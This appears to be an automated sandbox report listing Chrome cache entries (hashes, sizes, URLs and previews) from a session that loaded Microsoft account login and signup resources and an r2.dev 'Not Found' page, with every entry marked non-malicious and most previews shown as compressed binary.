Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27242
Entropy (8bit):	4.3631679730758375
Encrypted:	false
SSDEEP:	384:6FamwIluB0sJQqCeSQup5szCUXAG0VVi82OgoKACZQQofNJXY3gW3:663Mp5If8WOmgW3
MD5:	DF3D48946E8D3F5A83608308EDBB4B86
SHA1:	47B9C40C97ABF2658DF96B1C06109324E15E1A00
SHA-256:	570A6631252B8A52DF4DE0E953AE77DBDF524DFC3637CDA2840494A0D2B49499
SHA-512:	36EC1CEC72DC3245730C813277C645525473CC5232E85CD23503B8593D90264F335E61A16D364A1E6C41922820B40BA7C0F46B19F4B91DB6A0CF5E31E778DDEA
Malicious:	false
Reputation:	low
URL:	https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	20
Entropy (8bit):	3.6086949695628414
Encrypted:	false
SSDEEP:	3:KAam:Kjm
MD5:	6BB67F495601048D153FBC0E1B5D05CE
SHA1:	23A3E77DB69B11287E84568C2E94192A1EBE4E2C
SHA-256:	5B053E9B260D50775B96A767F054A10724CF5EC33A2A5AD06842AB96B439A108
SHA-512:	A0D0736DC0249FCC064019486F59F7F82D0861FE3B32E87D1E177B5E7D593279CBC55D25781674F40D88516CCB63722A431BD22F29003A521AE096D40336E3CA
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkuJsum9Yzc8RIFDbT67LQ=?alt=proto
Preview:	Cg0KCw20+uy0GgQIZBgC

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2345), with CRLF line terminators
Category:	downloaded
Size (bytes):	2347
Entropy (8bit):	5.290031538794594
Encrypted:	false
SSDEEP:	48:gCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIEv+sj+M++sx+suse+swsosmC0:gC3Na5+GX+Ti2XsYE2sqAsosushswsoB
MD5:	E86EF8B6111E5FB1D1665BCDC90888C9
SHA1:	994BF7651CB967CD9053056AF2D69ACB74DB7F29
SHA-256:	3410242720DE50B090D07A23AEE2DAD879B31D36F2615732962EC4CFA8A9D458
SHA-512:	2486B491681EE91A9CD1ECC9AA011A3FB34B48358C5D7A4D503A5357BC5CE4CA22999F918D40AC60A3063940D5F326FC7E4E5713D89D5C102DE68824E371B3AB
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 108310
Category:	downloaded
Size (bytes):	19750
Entropy (8bit):	7.976252716935333
Encrypted:	false
SSDEEP:	384:8ky75Q+ucD5YzpUA/ploZvOqPL0paizPdtqM4vqy8FT53oJB8e8JO:8ky7TucDqUAb3Zrd1AfA53oD8XJO
MD5:	FFB1F8211D580070470EA800670D93D5
SHA1:	E53659646AEEA3BEF3765BE84F2E9153B5A0EEE2
SHA-256:	4577B35C16D4BEECEF87C6934E98D1F3BEDA07F38B7ED1AFF544B2F589E494DD
SHA-512:	D5F203FCF25D628EF8CA2A6CB0A8C82453A6A3FD73A22A9E625E9219A0CAA1938C29BBD4F426CEE5A5E8C3A3E3272F0D5A625A755E236173B6CB03070B52BE7D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_wixdbz3ubznoegxpcgkfog2.css
Preview:	...........}k..6..w...\.d%E......q.d..lg..rmq$...KR3.....x..4 j<.........h..4..7.......^6...\|^.uy..jSVi...^..(".TGUVg.M..E.\|..7.z.m.....g.>Do~.>.\|...-..G...../..T.=...../...{...".QYE.z.j....].i.]U.j.Y.......E^7$.eV....B.ZDo..........$...$.\.g]6.<....Q+....z.U..2./...l..MQ.%.f..(......%.G/zO1....K..:..M. ..XC..+&.R..4..)..].TB...5..5etWnE.u{..uD...Y94].#UXl.M.h&..RE.!%A.....G...A....J..8"....U.n:.y..zy.....kY'...l.............u-4......e..M.n.uZ..Ao..>xY..v........\|.>z....4J.. .p.7D...b=...-.J^.1T..3.K...Q.(.U4_..u..M.w.&.j.7..4_S.L...L&..[.^T.H..y.R9-.......5....'.E..SV."K.G..i..E...r....9.&..vA. .E..E.4;W.G..&-...D.r._..3....t.e'Z...!.5Md...v\|K........^qe..{pIyC..,.i..RX...~t.....Y..e.DjIh.E...i...z....3......\|F..`..*@.....L0......$..._7D...s...I..._D.....o.....Go...../~.N..'.'..o..~~...`.{...cb....G......D/......7..].z....I.x.../?\..)...#.;zyA.....&...R./.Sb.^.{.3.\|.......<....kJ..7.gl..x...g...{....R......?.#..

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 80144
Category:	downloaded
Size (bytes):	28582
Entropy (8bit):	7.990835795085235
Encrypted:	true
SSDEEP:	768:SUSXTBiGf3+ifgoT+C2k8EJCHSJxknJc+OAf51u+NrKMWINuz+:8ViGf3VJkc+O+ea2MWINH
MD5:	A37BDBB8F418A4014C99AC1393E58A58
SHA1:	00C49FEF2C56BC87AAF99FAEE903E05986234BC8
SHA-256:	99EF7CD8BC7584B2645FA63F11E101B1377CE314D7738FA57CB886813906BBD1
SHA-512:	6C93DC6F08B440B070616A10BDB832CDB9DE3C52A98580D3E4535E5E45723F1575E91BA43AD7561636AA697BF238F50A2D9BA2CD2CF225416CFBC546467D05DF
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1
Preview:	...........is.H.6..... ^...R.T.3....%.V.,.%...i.....\D.Z,...... .w..uW.@".........?...:.....ZW.O.......uv~urxl..Z.?{..j0..0K-...<M.....$..g.y.HskL...0.z...Z.Rk6.~M.Ene.\|A..4..Y.U7O...\|.`.\|t=..N...pB......k2]....'....$O..$I...`.....x>...5O.txK..KJ.6!.p.Zy..z..b ..Y..j...b......@./.p8E.gK.4.L'.gt.......ZL...R....p.h..9....:.B...^e.y:.E...R......Vz?..y.`....S.......4......K.h.`..3...LXi...fi.....y.Y...../.i<......mx..3.8......'.'o..9.k]...tb].h>..c......;R.\|.x:....r.\|....www.tF...<N....ww<\..o6....Gs.N..Q..9.....(..#-.0.)7v8.;..)...S.=+...~.......M.E8.`.C.......N....\|..C,I2..X......r....M$).\|8../..p1.../..X....l....s6.......!T.2......O.a..).j.......Qu.\Pb.D.&.Q....i.gt....N.:..P.j.......H.Q...5.r.dJ..-.d ..{..*..O'..#.}K.$..hz.>.0..Y...S>...R5g.4.ph.h....Zy@2.m.d}......<.{....uri}.8............o'W..?]Y.....@/A.._N..u.........u.....1.....~::9{g..r......T....UU'........{J8xsrzr....\...T..C...O.....O.../...GT.........t.......9..

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://signup.live.com/Resources/images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 37866
Category:	downloaded
Size (bytes):	11322
Entropy (8bit):	7.981429816295758
Encrypted:	false
SSDEEP:	192:5huV16G+7DgZUyKsY4AmqySBLua33PWHGxMXTnRsMxuCWcdP02qXOtsOn:zuF+9sY4eB5vWJNZWcdPZn
MD5:	E59C3B1EB6862A6333488A00880D79C4
SHA1:	D8FB445F630639C45CCC05AA32A3C5D7FBB10504
SHA-256:	5DD6A7B363CEE654DDA1429F225F367716A621E77080485E30A2F4D12DBA5241
SHA-512:	2E658DA38D744B212DB6FA507603792DBA0AC5DA7CF8B13B3B824F068FD29E1B89DEDDE87196E96F0C23F562F0E4707F1CC89B18FD3FECB1E9DE2AA4E5D83D1F
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_yruqtyo0qslo70l4a-_ung2.js
Preview:	...........}.v.I..._...i.S)..\|B..A..0.....U....D..l..pfB...9....^{.W^z.?e.....#"2.......-( .7n.q_q#....^............K.G..P...sY\|^.a....V...,k<<....e..m....Zv..u.,./c.....sp._.[.w........PP^5....M..........<..1..... ..v@X.M.e....G.v.....N3,O...o..N.9~.s...[.ep/.+..=.M.k../...b.N.M8./KQ..lsL".(__.&..l....u..?.Z.....l>..R;.N,,...a....r..`..%{......7......=%.. ..s.>.4.f./. ....M...\^D...F..o....X..#..f..^......[....l:.v...\|..d..M.C.Z,..JP.7%...(a...8 .v..@.Yo.T..?.r......^{./...J..^9.....^U+...^.....]@.......'\|w.....~g...s ..s.N.KSzS..k..3..a...# ....T..6qy..+'~..p.a...{....3&..v...Co....?$\|.V...Ow=x.........v......a.D...X...m}1..ic..".v.t.{.7/~.6..\Z7..Q.....M.v...f.ab......k,...Y...+$h.+>..YAhE"...,wVod9...(j..u...`U.,[....sg......,/..z..H...+..,.i..[....4..@-.I.;.>._4~.....H0......9.......r..%.E.Y...;....b!.Fq.P.u.\|....s.5%.....E..}5"3.&..5$)..a..r.&0 ...z/.W..G.{a....N....w{.[~p_.FK.s.E..[...........]9.r....,.s..$uT>..

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 915
Category:	dropped
Size (bytes):	263
Entropy (8bit):	7.109710006180472
Encrypted:	false
SSDEEP:	6:Xt45qzoyr7SEpx2nsOcigQRwU9EEXBBLVtGuDNZjg/BW7/:Xm5qz7ShsBig8fj3TjgJY
MD5:	FDADF2FE6A40F8745A54088F002AECA2
SHA1:	CE8A4413ABA3B2035EF4C48D46D76EABE4DDA4B0
SHA-256:	AA6593B23F2559FE0C239B25F9AD9B2BC79437AE5EE23E412E13D148AB5B6B86
SHA-512:	CD99227F63AB606911AAC42BBDD132FF1AC0B243C64288BB23B8B44F54FEEF3D130882B21E3402C22C45FF5DD15D0CF16494A66FB1896AA46D95ACAF999EE837
Malicious:	false
Reputation:	low
Preview:	...........S.n. ...D.,CM...Rz...f)...,(........CY....yo$....~....1....1F.+v...3..t...a.X(....c......n1 @B..[.\........d.]...&..t...->.&dE..w.K6h2#.)..R1...Tr.%.@.].b.9...M.3.~.y.D..WHh.0..n.A..f....:.m...K3.C..=y.).......J.J........j!.."......~.5$......

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://signup.live.com/Resources/images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (23295), with CRLF line terminators
Category:	downloaded
Size (bytes):	23759
Entropy (8bit):	5.764343801136268
Encrypted:	false
SSDEEP:	384:HgwqIbHIEsQdsQvZxyF1Aw8B7Nv0edjuDNaFTLLb2M/zvyMEZWpn:Al6H9yF1IBBdq5yF/2dE
MD5:	09427F117A528E13661F77F983F66C2F
SHA1:	C75CEEA6111C923486F46AE05EF46248AD692933
SHA-256:	C1EEE3A6FCCF94D8928DB4340AA02A4910B5EDD094273BB894E43D81650A7516
SHA-512:	514EA0A2138F171435F8CE13F514469B14A7E39AF4EAFBD73E8CC7C92C77CF54602C2A3BE1E5FA0702D81777423A51C468933E0A5A9DE22298738DB798B7798A
Malicious:	false
Reputation:	low
URL:	https://fpt.live.com/?session_id=b58882512b7c40d78c42f4d88f1affac&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU&mkt=EN-US
